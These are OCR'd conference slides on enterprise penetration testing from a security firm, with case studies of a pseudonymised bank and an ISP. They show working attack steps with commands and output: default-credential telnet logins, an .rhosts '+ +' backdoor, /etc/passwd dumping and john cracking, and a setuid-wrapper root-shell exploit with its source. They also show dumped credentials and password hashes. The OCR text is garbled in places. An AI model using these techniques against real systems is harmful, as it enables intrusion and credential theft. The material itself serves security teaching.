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Penetration testing often focuses on individual
vulnerabilities and services.
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Automated penetration testing tools is
commonly used and replacing manual audits
and checklists.
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Enterpnse organisations tend to limit the scope
of penetration test

» Risk of exposure

» Government Law
» Budget
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Attackers exploit circumstances to gain
immediate advantage rather than being
guided by consistent principles.
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Attackers will expand the scope of
hacking not in accordance with the rules
or standards.
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Attackers are not always targeting the
highest privilege on an operating system.

Nowadays, they go after sensitive data
stored or processed.
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Vulnerabilities are lasting only for a short time.
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NETWORK OF TRUST

OPERATING SYSTEMS

NETWORK
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Case Study
Zeus Bank — Head Office

Penetration lesting
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Zeus Bank — Head Office
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Brute force 10S HTTP authorisation
vulnerability (Cisco Bug ID CSCdt93862)

http://Shost/level/Slevel/exec/show/config
Slevel = 16: Slevel <= 100:; Slevel++
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Zeus Bank — Head Office
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e 66 Webmail - You must be logged in to access this page.

d~ /:“ (9 https://webmaill. fwebmail/src/redirect.php ~ v

SquirreIMail version 14.9a
By the SquirrelMail Project Team

ERROR
You must be logged in to access this page.

Go to the login page

webmaill.
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00 SquirrelMail configtest
v \f_j /.?‘ ‘@ https://webmaill. fwebmail/src/configtest.php

Bellua: Forums Haxoria: Forums BB
SquirrelMail configtest

This script will try to check some aspects of your SquirrelMail configuration and point you to errors whereever it can find them. You need to go run conf.pl in
the config/ directory first before you run this script.

Squirre]Mail version: 1.49a
Config file version: 14.0
Config file last modified: 27 June 2007 16:39:21

Checking PHP configuration...
PHP version 5.04 OK.
PHP extensions OK.
Checking paths...
Data dir OK.
Attachment dir is the same as data dir.
Plugins OK.
Themes OK.
Default language OK.
Base URL detected as: https://webmaill. /webmail/src (location base autodetected)
Checking outgoing mail service....
SMTP server OK (zz0 ESHTE)
Checking IMAP service....
IMAP server rcady (* OK [CAPABILITY ItiAP4revl UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACLZ=UNION STARTTLS)
Courier-ItAP ready. Copyright 1998-2005 Douvble Precision, Inc. See COPYING for distribution in.formation.)
Capabilitics: * CAPABILITY IMAP4revl UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL
ACL2=UNION STARTTLS
Checking internationalization (i18n) settings...
gettext - Gettext functions are available. You must have appropriate system locales compiled.
mbstring - Mbstring functions are unavailable. Japanese translation won't work.
recode - Recode functions are unavailable.
iconv - Iconv functions are available.
timezone - Webmail users can change their time zone settings.
Checking database functions...
not using database functionality.

Congratulations, your SquirrelMail setup looks fine to me!

Find: QBRI 4 Next 1 Previous Highlight all | Match case Reached end of page, continued from top

Done webmail L.
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QmailAdmin
/=\ @ https:/ /webmaill. /cgi-bin/gmailadmin/

BB

User Account |postmaster
Domain Name

Password

Change Password

amailadmin 1.2.9
vpopmail 5.4.13

webmaill.
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Zeus Bank — Head Office
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Technical social engineering

» Giveaway USB keys and CDROMs
http://wiki.haks.org/wiki/USB_Hacksaw
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AN N EARARARAXATAY

\. LYRY \.
3

\.
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LYRY \.

\. LYRVS \.
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EntryName  :https//172XXXXX/login

Type : AutoComplete

Stored In :Registry

UserName  :zeusasadmO1

Password : Th15.n07|f4kee

Entry Name  :http//172XXXXX/manager/index2.php
Type : AutoComplete

Stored In :Reqjistry

UserName  :admin

Password :Th15.n07|f4kee

Entry Name  : httpsi//172 XXX X XX/monitor/incoming_mail_overview
Type : AutoComplete

Stored In :Reqjistry

UserName  :zeusasadmO1

Password :Th15.n07|f4kee

EntryName  :httpi//131 XXX XXX XXX:8987/

Type : AutoComplete

Stored In :Reqjistry

UserName  :admin

Password :admin

VEVEVEYRY] \. \. VEVEVEVEVEVEY] \. \. \.
KHKAK N N 3 N N N ANAN

*H*ﬁ*m*[Dump IE7 secrets} FeReac

VEVEVEVEVEVEY] \. VEVEVEVEVEVEY] \.
N N * 3 N *% N KKH

URL - https//www.zeusbank.coid/IDGCB/JSO/signon/
DisplayCinSignon.do

Title : Zeusbank Indonesia

Hits :8

Modified Date :19/09/2005 4:08:44 PM

Expiration Date : 15/10/2005 4:01:36 PM

User Name radam

Subfolder

URL hittps//1 XX XX XX/admin/defaultasp
Title - ProfileCourier Web Access

Hits 4

Modified Date :19/09/2005 3:04:07 PM

Expiration Date :15/10/2005 2:57:00 PM

User Name radam

Subfolder

URL - https./fsboxzeusbank.coid/reports/passthrough.exp?
file=&view=7

Title : ZEUS: Scan Summary Report

Hits 2

Modified Date  :20/09/2005 2:27:24 PM

Expiration Date : 16/10/2005 2:20:16 PM

User Name :adam

Subfolder
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Sforiin22237980139;

> do

> nmap -0G nmap_S{i}.log -TO -PO -pS${i} 131.0.0.0/16
> done
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S smbtree
Password:
IBMWRKGRP
\\IBM-F2890NAT4D3
\\IBM-F2890NAT
\\IBM-F2890ONAT
\\IBM-F2890NAT
\\IBM-F2890NAT
\\IBM-C84E8E33D03
\\IBM-C84E8E33D03\CS
\\IBM-C84ES8E33D03\ADMINS
\\IBM-C84E8E33D03\print$
\\IBM-C84E8E33D03\DS
\\IBM-C84E8E33D03\IPCS

N

BEAES
DEAVABIVIINE
BEABE
D3NIPCS

>~ B

N

Default share
Remote Admin
Default share
Remote [PC

Default share
Remote Admin
Printer Drivers
Default share
Remote [PC
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VPN
\\RAMBLER Lukman's

\\RAMBLER\Printer Microsoft Office Document Image Writer
\\RAMBLER\CS Default share
\\RAMBLERNADMINS Remote Admin
\\RAMBLER\Printer2 HP LaserJet 2300 Series PCL 6
\\RAMBLER\FS Default share
\\RAMBLER\Limo
\\RAMBLER\Master
\\RAMBLER\Friends XYZ
\\RAMBLER\CDROM
\W\RAMBLER\print$ Printer Drivers
\\RAMBLER\DS Default share
\\RAMBLER\IPCS Remote IPC
\\RAMBLER\ES Default share
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HO
\TO02JLW973)J Backup Passwword Management
\\STAF-KSO CS
\\AVCONSOLE
\\XYZ-WSUS-01
\XYZ-WEBF-01 Websense Server
\\XYZ-TSIPSS-02 bds master
\\XYZ-TSIPSS-01 music madness
\XYZ-SDMGT-01

\XYZ-OPICS-02

\\XYZ-MSGFE-01

\\XYZ-FRSTI-01 File Server
\XYZ-MOM-02
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S telnet 13 1. XXX XXX. XXX

Trying 13T XXX XXX XXX...
Connected to 131 XXX XXX.XXX.
Escape character is ']’

Welcome to Microsoft Telnet Service

login: administrator
password: administrator

C:\Documents and Settings\Administrator>
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e 06 Terminal — 384

C:\I ipconfig /all

Windows IP Configuration

Host Name . . . . . . . . . . . . : _
Primary Pns Suffix . . . . . . . :

Node Type . . . . . . . . . . . . : Unknown

IP Routing Enabled. . . . . . . . : No

WINS Proxy Enabled. . . . . . . . : No

DNS Suffix Search List. . . . . . :helpdesk._

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix

Description . . . . . . . . . . . : Intel? PRO/100 VE Desktop Connection

Physical Address. . . . . . . . . : 00-09-6B-20-48-F7

Dhecp Enabled. . . . . . . . . . . : No

IP Address. . . . . . . . . . . . : 131.. |

Subnet Mask . . . . . . . . . . . : 255.255.0.0

Default Gateway . . . . . . . . . : 131.

DNS Servers . . . . . . . . . . . & 131.
1531.

c:\ D]
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References
Presentations
Projects

Downloads

_# Active Files.savedS...
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' Buku_manual_BDS on KP-DIV TSI

- Buku_man...

CBR_PROC...calLBU.doc
WEB...RT_AB.doc
WEB...REPORT.doc

Admins.doc

BUKU 9_LOAN.doc

BUKU 10_ LOAN.doc
BUKU 11_LOAN.doc
BUKU 12_LOAN.doc
BUKU 13_TF.doc
BUKU 14_TF.doc
BUKU 15_TF.doc
BUKU 16_A_TF.doc
BUKU 16_B_TF.doc
BUKU 16_C_TF.doc
BUKU 16_D_TF.doc
BUKU 16_E_TF.doc
BUKU 16_F_TF.doc
BUKU 17_A_TF.doc
BUKU 17_B_TF.doc
BUKU 17_C_TF.doc
BUKU 17_D_TF.doc

e T )

ATM.doc

Microsoft Word
document

2.2 MB on disk

10/26/04 4:36
AM

Maore info...

‘ ’ >

1 of 31 selected, 2.58 CB available

., JI. Imam Bonjol 61, Jakarta 10310 Indonesia
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" Documentl

3

A. ATM DAN KARTU ZEUS

PENDAHULUAN

Saat ini, dengan sudah berjalannya Aplikasi ZEUS pada jaringan
Operasional Unit Kerja ZEUS, terutama pada Kantor Cabang, KCP dan
Unit ZEUS, maka banyak kemudahan-kemudahan yang bisa didapat
untuk meningkatkan pelayanan kepada nasabah.

akan mendekatkan nasabah ketika akan melakukan transaksi baik
penarikan tunai atau overbooking serta penyelesaian transaksi dari
fasilitas yang tersedia di ATM sebagai pengganti pelayanan Teller.
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" Documentl

e 3

. OPERASIONAL

2.1. Proses Pembuatan Kartu ZEUS Requles/Normal

Deposit.

. Demand Deposit

e ] = G @® 9B g

A Lreaton WA Creaton New Accourt Lwsting ylop Artomate
Matonance Accourd M Inguay Faymert/Mold Furd Transter
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Zeus Bank — Head Office
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CBR_PROC_ftpbacalBU.doc

2 3 4

220 hp-k100FTP server (Version 1.1.214.1 Mon May 11 12:21:14

Col 34 2127393
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S telnet 13 1. XXX XXX. XXX
Trying 13T XXX XXX XXX...
Connected to 131 XXX XXX XXX
Escape character is 'A\].

HP-UX hp-k100 B.11.00 U 9000/809 (ta)

login: microin
Password: microin

Please wait...checking for disk quotas
(©)Copyright 1983-2000 Hewlett-Packard Co., All Rights Reserved.
(©)Copyright 1979, 1980, 1983, 1985-1993 The Regents of the Univ. of California

You have mail.

/disc6/vsat/microin K100> uname -a
HP-UX hp-k100 B.11.00 U 9000/809 92378331 unlimited-user license
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/disc6/vsat/microin K100> Is -1 /
-rw-rw-rw- 1root  users 30 Aug 15 15:36 .rhosts

/disc6/vsat/microin K100> cat /.rhosts

hp-827

compaqg

downsz

test

/disc6/vsat/microin K100> echo “+ +"” >> /.rhosts
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S rlogin 131.XXX.XXX.XXX -l root

Please wait..checking for disk quotas

(©)Copyright 1983-2000 Hewlett-Packard Co., All Rights Reserved.
(©)Copyright 1979, 1980, 1983, 1985-1993 The Regents of the Univ. of California

You have mail.

#

# cat /etc/passwd
root:9jIP15dIf4rik:0:3::/:/sbin/sh
daemon:*:1:5:/:/sbin/sh
bin:gjZjOOwWRXYVSs:2:2::/usr/bin:/sbin/sh

#www:9zWuGLL40CVT.:30:1:/:

shut::0:3:Shutdown System:/users/shut:/usr/bin/sh
tfitp:EwmOFhUcHo7sI:510:1:Trivial FTP user./home/tftpdir:/usr/bin/false
ftp:*:500:1:Anonymous FTP user/home/ftp:/usr/bin/false
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S john -single hp-kl100.passwd
Loaded 48 password hashes with 48 different salts (Traditional DES [32/32 BS])
menu (menu)

microin  (microin)
shut (shut)
tcr (tcr)

$ john hp-kl100.passwd
Loaded 32 password hashes with 32 different salts (Traditional DES [32/32 BS])

doj (bin)
doj (adm)
doj (nuucp)
doj (#Hwww)
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# grep -v A\\# /etc/hosts

27.0.0.1 localhost  loopback

3T XXX XXX XXX sistek

3T XXX XXX XXX XXX-sdt # server XXX-sistek
3T XXX XXX XXX test

3T XXX XXX XXX KCK
O XXX XXX XXX as-400 # Development
O XXX XXX as400 # production

3T XXX XXX XXX backbone  # XXX-kanpus
3T XXX XXX XXX hp-k100 hp-k100.# hp-9000/k100
92.168 XXX XXX hp-k100 DMZ1

3T XXX XXX XXX hp-827 # hp-9000/827

3T XXX XXX XXX downsz # hp-9000/827 13T XXX XXX XXX
3T XXX XXX XXX sipkw # downsz

3T XXX XXX XXX compag # hp-9000/827

3T XXX XXX XXX mis # MIS KANPUS

1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1

3T XXX XXX XXX mailserver  # MIS KANPUS
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Zeus

Bank — Head Office

WEB

WEB

DNS

Branches and Third Parties
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® 06 Terminal — 31
Host zeus-mom(2
Hostname 131 .XXX. XXX.XXX
User administrator
DynamicForward 55433
ffIdentityFile ~/.ssh/000
Port 222
LocalForward 1002
LocalForward 1003
LocalForward 1090
LocalForward 1100
LocalForward 1105
LocalForward 1106
LocalForward 1107
LocalForward 1110
LocalForward 1249
LocalForward 1250

OO0 0000 O O

L = = T S S R S Ry S R =
o

-

%)

(W)

o

OO0 000000 O O

208,25-32
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| C:HWINDOWS' system32'cmd.exe

SCO UnixWare 7.1.1 (ivrprodl) {(pts/5>

elnetd: makeutx failed.

onnection to host lost.
:\Documents and Settings\BABAAS58>finger AGR2.0.0.30
[2.8.8.381

Login name: support
Shell: /usyr/bin/rsh

Shell: /usr/bin/ksh

:\Documents and Settin

Remote Deskkop Connec... C:AWINDOWS'system...
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S cat ~/.bash_history

more /var/spool/pbs/server_logs/pbs_server.log
piNG 202 XXX XXX XXX
tracepath T0.XXX XXX XXX
SU -

crontab -|

top

top

ping jktrcO1

exit

SU -

s

SU -

ZEpbs!serverUS

SU -

exit
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S Is -la pswexec
-rwsr-xr-x 1 root pswaix 3484 Aug 4 2005 pswexec

S grep pswexec *
pswx.sh:pswexec -bin $*
cpvirtual:PSWSTAMP="pswexecu’
cpvirtual:pswexec cpvirtualO $*

S cat pswx.sh
PSWSTAMP="pswexecu

export PSWSTAMP
pswexec -bin $*
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int main(int argc, char *argv[]) if ( (s = getenv("PSWSTAMP")) == 0)
{ printf ("pswexec:invalid arg...\n");
char *s, *exe ; exit(1);
intx;
x = atoi(s) ;
if (argc < 2)
printf ("pswexec:Invalid arg...\n"); if (time(0) - x > 2 || time(0) - x < 0)
exit(1); printf ("pswexec:invalid arg...\n");
exit(1);
if (stremp(argv[1], "-bin") == 0) {
exe = argv[2]; if (setuid(0) !I=0) {
argv +=2; fprintf (stderr, "pswexec::set failed\n") ;
} exit(1);
else { }
argv[0] = "ksh" ;
exe ="/bin/ksh" ; execvp(exe, argv);
} returnO;
}
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S cat > boomsh.c
main()
{
setuid(0);
setgid(0);
system("/bin/bash");
"D
S make boomsh
cc boomsh.c -oboomsh
S Jpswx.sh chown root:root boomsh
S JJpswx.sh chmod +s boomsh
S'ls -la boomsh
-rwsrwsr-x 1 root  root 11559 Aug 24 13:43 boomsh
S ./boomsh
[root@localhost bin]# id
uid=0(root) gid=0(root) groups=500(pswaix)
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Zeus Bank — Head Office

Branches and Third Parties Management Network
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Documentation User and Password in ZEUS.doc

i e 3 4 s

SiteProtector Application Server

Username (Administrator) : Candradimuka
Password . password

User role privileges in SiteProtector Console
» Administrator
User : SPADMCON
Password . password

» Analyst
User : ZEUSSPADMO1
Password . password

Operator
User (1) : ZEUSSPMONO1
Password . password

User (2) : ZEUSSPMONO2
Password . password

User (3) : ZEUSSPMONO3
Password . password

Page 1 Sec 1 1/2 At 1° OREC |[OTRK [OEXT |C
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Documentation User and Password in ZEUS.doc

i e 3 4 s

SiteProtector Database Server

Username (Administrator) : Pendawa
Password . password

User : ZEUSDBS
Password . password

SecurityFusion Module Server

Username (Administrator) : Baladewa
Password . password

User : ZEUSFSM
Password . password

Page 1 Sec 1 . OREC |[OTRK [OEXT |C

Copyright © 2007 PT Bellua Asia Pacific, Bumi Daya Plaza 9th Fl., JI. Imam Bonjol 61, Jakarta 10310 Indonesia



@ Bellua Asia Pacific

Documentation User and Password in ZEUS.doc

i e 3 4 s

Internet Scanner

Username (Administrator) : Dasamuka
Password . password

User : ZEUSISSP
Password . password

Page 2 Sec 1 OREC |[OTRK [OEXT |C
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Zeus Bank — Head Office

Branches and Third Parties Management Network
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Zeus Bank — Head Office

MAIL

BALANCE!

Branches and Third Parties Management Network
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Case Study
NEMESIS ISP — VPN Services

Penetration Testing
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HAC KERS” Shell /~ - \\

\
1

|

(. . “‘. / NMS Network

T Tacacs+
' ‘ Backup
ROOT = Databases

Local Exploit

f\\

Custom Scipts /‘ I\
/I

Exploit ' INTRANET

HACKERS l \

—”

“INTERNATIONAL )|

‘\ el |HACKERS.\

WEP Cracking
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E_
8
B
S|
8
8
8
8
S|
S|
8
8
8

B2 J
-

»forum@athena

cact

_'r‘,J'vj‘-_'r“ # i
| .’.J_.a._,f.._‘,‘..A.

3 B 0o

Database
tacacs (13)

accounting
acl

admin
attribute
contact_info
host

node

user
user_clear
user_clear_old
user_old
vendor

mrtg JJ I / 'ocalhost / tacacs / user | phpMyAdmin 2.7.0-pl2
aus hetp:/ /mreg | 2 min/ phpMyAd min/ v 1G]~

mrt_q_ / localhost / t...

199 Kkan

administrator

administrator

administrator

administrator

administrator

administrator
administrator

administrator

administrator

administrator

f »

3 htp://mrtg - log/output.log

65534 1 $515a0vMbdkpS5SMGUX3ISbxXLNXz

S$1Si5uXOINcS1alHce96tx..dcGTy

$1SrrStgRgNSajhydzAB8ryfuBLO

S1SINhKUSrSWVWT 2SIkrubMCJji

S1SFAeEICnvSItOZzimAg2HJZbJ

$1$.M50BSvIS8/0CSBJ6L/5J554I
LW2nsyxUPOJXw

S$1Sh6sKMu.kSaZYexTxAzPNDM'

$1Svx5nfvJKSWE7J4sGlL.YMMTFI

$1SKqLajhybSTOT4FgNTG1VEW

4
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mrtg_/ localhost / tacacs /[ user_clear | phpMyAdmin 2.7.0-pl2
| '\J e | TAG A http.."."mrtg_."admin.’phpMyAdmin." v [C,l v

»forum@athena

cacti - / localhost / t... & htp:/ :‘mrr.q,-:'h:q foutput.log

7 spm 0000-00-00 00:00:00
8 wsn 2006-02-01 11:21:12
10 tpl 0000-00-00 00:00:00
11 irs 0000-00-00 00:00:00
12 i 2005-10-06 07:35:20
2006-12-22 14:00:46

14 0000-00-00 00:00:00
2006-12-18 17:11:06

17 0000-00-00 00:00:00
18 0000-00-00 00:00:00
20 0000-00-00 00:00:00
21 s 2006-08-23 09:17:04
2006-12-14 07:56:10

23 2006-01-02 15:14:12
24 0000-00-00 00:00:00
25 0000-00-00 00:00:00
26 2005-10-06 14:29:19
27 0000-00-00 00:00:00
28 2005-10-06 07:56:22
29 2005-10-06 08:34:24
30 2006-06-27 09:27:40

X

» r
sud S eiddidil]

4 B 0o

Database
tacacs (13)

XXX X X X

9;.{ tx

accounting
acl

admin
attribute
contact_info
host

node

user
user_clear
user_clear_old
user_old
vendor

8
8
B
S|
8
8
8
8
B
B
8
8
8

XXX AXXX XXX XX
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#/usr/bin/perl -w
# Config router mpls automatic nambah name-server
use Net:Telnet:Cisco;

@nodes = gqw(
PWRRIR1
SBGPNR1

MEER Y
);

foreach Snode (@nodes) {

Ssession = Net:: Telnet:Cisco->new(Host => Snode);
Ssession->login(‘b4ckup, XXXXXXXXX");

@out = Ssession->cmd("config term\n");

print @out;

@out = Ssession->cmd("no username root\n");

print @out;

@out = Ssession->cmd("username masuk password XXXXXXXXX\n");
print @out;

@out = Ssession->cmd("enable secret XXXXXXXXX\n");
print @out;

}

exit;
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Hardcoded Username and Password

SAS.3.4.2 (Build 1) SAS-HPIDX=110-> version
VxWorks (for Netro AirstarSAS 2) version 5.4.
Kernel: WIND version 2.5.

Made on Jul 10 2003, 19:08:35.

Boot line:
ffs(0,0)host/zdev/vx_gz e=192.168.10.1:ffftft00

N=192.168.14 g=192.168.1.4 u=chaos pw=netro

s=F:startup.bat
value =121 =0x79 ="y
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version 7.6R2.6;
system {
host-name BDLNEMESIST;
domain-name nemesis.co.id;
time-zone Asia/Jakarta;
authentication-order [ tacplus password J;
root-authentication {
encrypted-password "$TSNEMESISSgcYtDd4kWKGBwOFwWXIEHO/",
}
name-server {
202 XXX XXX X;
202 XXX XXX X;
}

tacplus-server {

}
login {
class superuser-local {
idle-timeout 5;

| el Vendor access in main router

user sibodoh {
uid 2007;
class superuser;
authentication {
encrypted-password "$1SNEMESISS TIEHmKIiPI1Yw1bXqqD5yn/";
}
}
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Unforgivable Vulnerabilities — Steve Christey

http://metasploit.com/users/hdm/bh07/christey/presentation/bh-usa-07-christey.pdf

Tactical Exploitation — HD Moore & Valsmith

http://metasploit.com/conts/blacknat?007 /tactical_paper.pdf

Default Password List — Fx

http://www.phenoelit-us.org/dpl/dpl.ntml
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Evaluating the resilience of a security
framework in a large enterprise

» The requirement to establish a complete picture of
information security risk profile

» Issues with scope of evaluation and constraints
defined by system boundaries or locations

» ldentification of weakest links in the entire business
process - including those managed by third parties
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Enterprise

» Evaluating a system used to automate business
processes that have evolved over time

» Adoption of new technology as part of their strategic
business plan

» New regulations requiring changes to the business
process
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Evolution of a system

» Changes due to new regulations
» Requirements to interface with new systems

» Obsolescence - partial update to the system
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Integrating various workflow into a
centralised system
» The need to re-establish security controls,

segregation of authorities and managing these
changes: temporary project environment
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Technology-Driven business process

» Process owners taking control of the project
implementation initiative

» Project team consisting of various parties, usually led
by a business manager

» Sphere of influence for a “strategic project” may
override technical security controls
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Regulations

» What needs to be available and what will be required
to show compliance

» Effectiveness of required control may not be defined
by the framework
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Summary

» Understanding the business process and roles played
by internal & external parties

» Attack strategy will focus on “grey” areas with weak
or inconsistent implementation of controls
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